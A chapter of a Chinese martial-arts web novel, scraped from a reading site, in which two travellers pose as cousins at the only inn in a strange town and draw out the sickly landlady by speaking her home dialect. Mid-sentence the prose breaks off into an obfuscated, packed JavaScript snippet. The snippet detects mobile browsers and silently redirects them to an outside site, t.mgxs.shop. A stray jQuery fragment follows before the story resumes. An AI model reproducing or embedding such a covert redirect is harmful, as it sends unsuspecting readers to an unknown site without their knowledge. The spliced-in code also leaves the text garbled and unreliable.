文趣网 > 都市小说 > 江湖不寂寞 > 7. 表妹
    从妇人身边擦肩而过时,谢勺隐隐嗅到一丝蜡烛燃尽时的枯朽味道,又如掉落的香灰一般,转瞬即逝。

    两人并肩走进祥云镇。

    昨晚在房顶上就已经看得很清楚,祥云镇的布局非常规矩,入镇之后便是一条宽阔笔直的石板路,道路两边对称分布着矮小的翻碗式房子。

    商队们陆续进入,此时大街上热闹极了,有的商人看这里人多,索性就在路边支起小摊,卖点不值大钱的零散货物,生意竟还不错,摊前围了不少看热闹的人。

    沈逸飞抱着胳膊,食指轻轻敲打着小臂,视线看似在摊位上琳琅满目的货品间游走,魂却不知道飞哪里去了,半天没开口说话,显然还在思索方才妇人的话。

    谢勺拿着两枚木牌打量起来。

    牌子的做工非常古朴,或者说根本没有加工痕迹,就是两块大小一样的板子,从木头里劈出来,上面用朱砂描着大字,红得仿佛要滴出血。

    一个“男”。

    一个“女”。

    除此之外,牌面再也没有其他文字,仿佛整个腰牌的作用只是拿来区分性别。

    谢勺蹙起眉头,耸着鼻尖嗅了嗅那两个字。

    按理说,正常朱砂应该是没有味道的,但不知道是不是她的错觉,她似乎隐隐闻到了一丝腥气,混在陈木的腐败味道里,将要抓住的时候又消失了。

    半天看不出名堂,谢勺放弃了。

    把写着“男”的腰牌塞到沈逸飞臂弯里,谢勺懒懒问道:“接下来我们去哪儿?”

    “先找个地方安顿下来,”沈逸飞道:“卖货的小摊虽然多,但大部人停留在镇子里应该都是为了歇歇脚,跟着人流走,应该能找到客栈。”

    谢勺眯着眼睛,向远方看去,那座祥云镇里最高大严整的房子坐落在石板路的尽头,日光下,青瓦反射出油亮的光,细小的尘粒飞舞,存在感比夜晚的时候更加醒目。

    混在人群中,两人没费多少功夫就找到了落脚的地方。

    石板路的中后段,临街有一栋两层木楼,装修古朴,两扇漆红木门洞开着,宽阔的牌匾高悬。

    谢勺站住,仰头看了看,嘴角抽了又抽:“这名字太不讲究了……”

    只见那牌匾上赫然写着四个大字——唯一客栈!

    沈逸飞同样仰着头,憋着笑道:“确实是镇里唯一的客栈,也不能说人家取错了。”

    客栈的占地面积相当不小,但因为突然涌进来的客人太多,竟然很快便全坐满了,大堂里热热闹闹,叫酒和上菜声此起彼伏,震得横梁都在响。

    七八个扎着辫子的小孩子应该是店里的小二,两手各端着一个菜盘子,小步快跑着,在人群缝隙里穿来穿去,脸上满满的机灵劲儿。

    两人穿过大堂来到柜台前。

    柜台后面坐着一个约莫三十岁的女人,容貌不算美,眉宇间笼着一股病气,形销骨立,两片薄薄的肩膀松垮垮地撑起衣服,正低着头打算盘。

    沈逸飞闭了下眼睛,再睁开眼时,那股清贵的气质消失殆尽,只剩下一片淳朴的憨厚:“掌柜的,劳烦帮我们登记两间人字房。”

    “人字房已经住满了。”女人缓缓撩起眼皮。

    “哎哟……”沈逸飞咬紧牙关,像下了什么大决心似的:“那,那地字房呢?给我们两间地字房吧,我们只住一晚。”

    谢勺站在他侧后方装怯懦,脑袋都快垂到胸口了,心里默默给他的演技竖起一个大拇指。

    女人显然也习惯了来往的客人都是精打细算过日子的,重新垂下眼睛,在账本上记了几笔:“一间六十文,两间的话,算你一百一十文。”

    “行,那我们住了,谢谢掌柜的。”沈逸飞掏出一个百文串,又数了十个铜钱递给她。

    女人接过来,视线从谢勺抓着沈逸飞衣袖的手上扫过,难得对眼前的男女生出一丝好奇,诧异道:“你们为何不住一起?还能省些花费。”

    沈逸飞笑道:“老板误会了,这是我的表妹,不是我夫人。”

    他怜惜地拍拍谢勺的手:“这姑娘命苦,嫁人后丈夫早早便死了,我见她一个人在乡下生活实在可怜,她娘也担心,就想着接她回母家住,有表哥在,至少不会短了你的吃食。”

    谢勺:“……”

    借着浓密的睫毛遮掩,她飞快斜了沈逸飞一眼。

    下回给她发寡妇剧本敢不敢提前通知一声!

    好在她演技也不错,立刻配合地红了眼眶,嘤得一声便用袖子捂住了嘴巴,假装马上就要哭出来了。

    沈逸飞稳稳接住戏,长叹一口气,拍她手拍得更起劲了。

    一时之间,兄妹两人身边环绕着浓浓的悲情氛围。

    “苦尽终有甘来时,”女人也动容了,安抚谢勺:“坏日子过完,往后必定都是糖倒牙的好日子。”

    谢勺只好含泪点头。

    “妹子母家是哪里的?如今世道不太平,山高路远,你们兄妹二人可得小心些。”

    “正是新象城人,”沈逸飞笑道:“一路紧赶慢赶,总算熬到头了。”

    女人一边麻利地给他们拿房间钥匙,一边笑道:“新象城的?经常有那边的客人来住店,都不如你们官话讲得地道,一点口音都没有。”

    谢勺心脏猛地一紧。

    身世可以演,说话的声调语气却是一方水土养一方人,尤其是这个交通闭塞的世界,很多人一辈子都没离开过家乡,会说官话的人绝对比说乡音的人少得多。

    她压根没去过新象城,怎么可能讲得出新象城的方言,这是个大破绽!

    无暇去想沈逸飞怎么编了这么一个有大纰漏的身世,谢勺一只手自然垂落,掌心向着大腿,随时能够去摸剑。

    这时,沈逸飞微微侧身挡住了她,干燥的掌心按在她手背上,做了一个制止的动作。

    沈逸飞磕巴都不打,那张人皮面具伪装后的普通面容上,露出中年男人被异性夸奖后不好意思又带着一丝小骄傲的表情,笑道:“哎哟,也没你说的那么厉害……”

    他顿了顿,再启唇时已经不是官话,而是地道的土话:“在家里头还好,外边那些掌柜的都是鼻孔出气,你跟他们讲土话,他们都不带正眼瞧你的!也是没办法呀,为了赚点糊口钱,听多了学多了,自然就会说了。”

    “掌柜的耳朵好使,这也能听出来?”

    女人浑然不觉这对兄妹之间的暗流汹涌,冷峻的脸陡然柔和下来,对他们的戒备明显少了许多。

    听着熟悉的乡音,她也不再讲官话,轻声道:“我母家也是新象城的。”

    沈逸飞竟然还真会说!

    这人瞧着和不食人间烟火的贵公子一样,说起方言却那么自然又流畅,遣词造句都接地气极了,明州是有名的十里不同音,方言体系非常混乱,新象城算不上什么大城池,出了新象城,可能连本地人都不爱讲方言,沈逸飞是怎么学会这门小语种的?

    难道他恰好是新象城人,专业对口了?

    没听说新象城有沈氏的支脉或者姓沈的大户人家啊……

    至于沈逸飞会不会是寒门出身,谢勺考虑都没考虑,直接跳过了这个可能。

    开玩笑,看看沈逸飞穿的衣服,用的法器,看看那不差钱的样子,她怀疑城主家的傻儿子都没那么阔,他要是穷人,自己就是乞丐。如果不是自诩心地善良,绝不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795216|210500||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是鸡鸣狗盗之辈,谢勺都想把手伸到沈逸飞的钱袋子里暖一暖了!

    沈逸飞后背一寒,有种被什么东西盯上的错觉,疑惑地低头看看谢勺,只看到一个被头巾包裹住的圆圆的脑袋。

    失笑一瞬,沈逸飞继续和女人聊着闲天。

    女人放松警惕之后,脸上细小的皱纹都温柔了,整个人显得性格很好的样子,问什么答什么,被沈逸飞东扯西扯地套了不少话。

    谢勺耳朵竖起,仔细分辨着,发现新象城的口音和海珠城非常相似,只是有些许的声调习惯不同。

    海珠城的方言是她听了十年的,她很熟悉啊!

    凭着这一世出色的记忆力,谢勺在心里默默模拟了几句,眼见着他俩的交流慢慢冷了下来,似乎快要结束了,便自然地开口,用方言加入了对话:“姐姐嫁来多久了?婆家再如何妥帖,终究是没有家中好,这儿离新象城不算远,姐姐有没有再回家看一看?”

    女人果然没有察觉到异常,微微黯然道:“多少年……已经数不清了。”

    沈逸飞不动声色地瞅了她一眼,接着对女人惋惜道:“女儿远嫁,家里人肯定惦记。我若是有女儿,恨不得就一直安置在膝下承欢,外人再如何对她好,能有老父老母疼她爱她?”

    女人轻轻道:“还好,我丈夫也已经死了。”

    谢勺讶异地微微抬起脸,竟还是个同道中人!

    沈逸飞微微眯了下眼睛,这句“还好”颇有几分微妙。

    还好,指的是“远嫁”还好,“家人惦记”还好,还是“丈夫死了”还好?

    女人抿着没什么血色的嘴唇笑了笑,似乎是不愿多谈这个话题。

    她挥手叫来一个在大堂里跑来跑去上菜的小二,递过去两把钥匙:“巧儿,带这两位客官去二楼。”

    名唤作巧儿的小二个子不高,看着就七八岁的样子,他先给女人作个揖,声音清脆如百灵鸟:“好嘞,春娘。”

    随后,黑漆漆的眼珠子在谢勺和沈逸飞身上分别转了一圈,引着他们往二楼走:“二位请随我来。”

    也不知道是不是他们的套近乎起了作用,春娘特意给他们选了两个相邻的空房间,离楼梯口比较远,木房子隔音不好,以免他们被其他客人上下楼的脚步声打扰。

    “就是这儿了,”巧儿分别开了门,把两把钥匙递还给谢勺和沈逸飞便下楼了,临走前伶俐道:“缺什么东西、有什么需要,您二位随时喊一嗓子就成,我们听见就给您送上来。”

    谢勺选了左边的一间。

    房间里的东西不多,一把椅子,一张桌子,一张床,床上铺着棉被摆着木枕,收拾得倒是很干净。

    密闭的房间里,谢勺终于能稍微松一口气,解开头巾,放出一头乌黑浓密的长发。

    时人辛劳,纵使能勉强填饱肚子,常年缺油水的饮食习惯也使得头发大多干枯毛躁。

    阳月道人带着谢勺过了十年家徒四壁、八面漏风的日子,唯独吃食这方面是断断没有吝惜的,他做的饭别管好不好吃,至少营养物质是给齐了,养得谢勺年仅十七便长到了一米七的身量,头发也是好头发,和易容后艰难困苦的形象差别太大了,这才用头巾把脑袋裹了起来。

    谢勺简单用梳子通了通发,谨慎地把掉下来的头发收集起来,一把火烧了。

    清理好自己,又把绑在大腿上的截云剑取了下来,在它撒娇似的剑鸣声里帮它做了一套养护。

    长剑通体玄黑,只有剑锋是夺目的冰蓝,做完保养后纤尘不染,吹毛断发,给截云剑美得直哼哼。

    这一套下来花了不少时间,住在隔壁的沈逸飞轻轻敲了下墙:“休整好了吗?”